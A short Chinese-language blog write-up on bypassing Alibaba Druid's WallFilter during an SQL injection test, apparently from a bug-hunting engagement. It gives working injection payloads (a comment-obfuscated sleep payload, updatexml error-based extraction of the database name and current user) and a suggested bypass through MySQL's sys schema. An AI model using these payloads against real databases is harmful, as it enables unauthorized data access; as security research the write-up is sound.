Druid WallFilter 绕过浅析
简介
之前挖洞的时候遇到了一个 SQL 注入,测试时可以看到回显的 SQL 语句,但是一直被拦截,搜索了下发现是 WallFilter
WallFilter 是阿里巴巴的数据库连接池Druid中一个特殊的 Filter,主要功能是用于监控 SQL 安全,并基于 SQL 语法进行分析,理解其中的 SQL 语义,然后作出智能准确的处理,从而避免 SQL 注入。
拦截1
首次尝试注入,Payload 如下:
Sql
1 | desc,(select/**/*/**/from/**/(select(sleep(5)))a)# |
抛出异常:sql injection violation, comment not allow
原因是 WallFilter 的默认拦截策略是不允许 SQL 中带有注释,而这里的 Payload 明显含有注释,因此被拦截。参考:alibaba/druid - WallFilter拦截规则
拦截2
再次尝试注入,修改后的 Payload 如下:
Sql
1 | and(updatexml(1,concat(0x7e,(select database())),0)); |
这次的报错为:sql injection violation, syntax error
原因是默认配置下,WallFilter 拦截了如下函数和关键字:
Basic
1 | deny-function: |
其它查询
尝试查询其它的变量
Sql
1 | SHOW GLOBAL VARIABLES; # 查看全局变量 |
这里查几个变量,发现可以成功查询,Payload如下:
Sql
1 | and(updatexml(1,concat(0x7e,(select current_user)),0)) |
尝试绕过
前面得知禁用了information_schema
,这里利用MySQL5.6+
的sys
系统库中的某些表来尝试绕过。
Sql
1 | mysql> use sys |
测试之后发现报错:SELECT command denied ...
,原因是当前用户权限不足所导致。
如果数据库当前用户为root
或者其它具有对应权限的用户时,利用这个办法进行绕过是可行的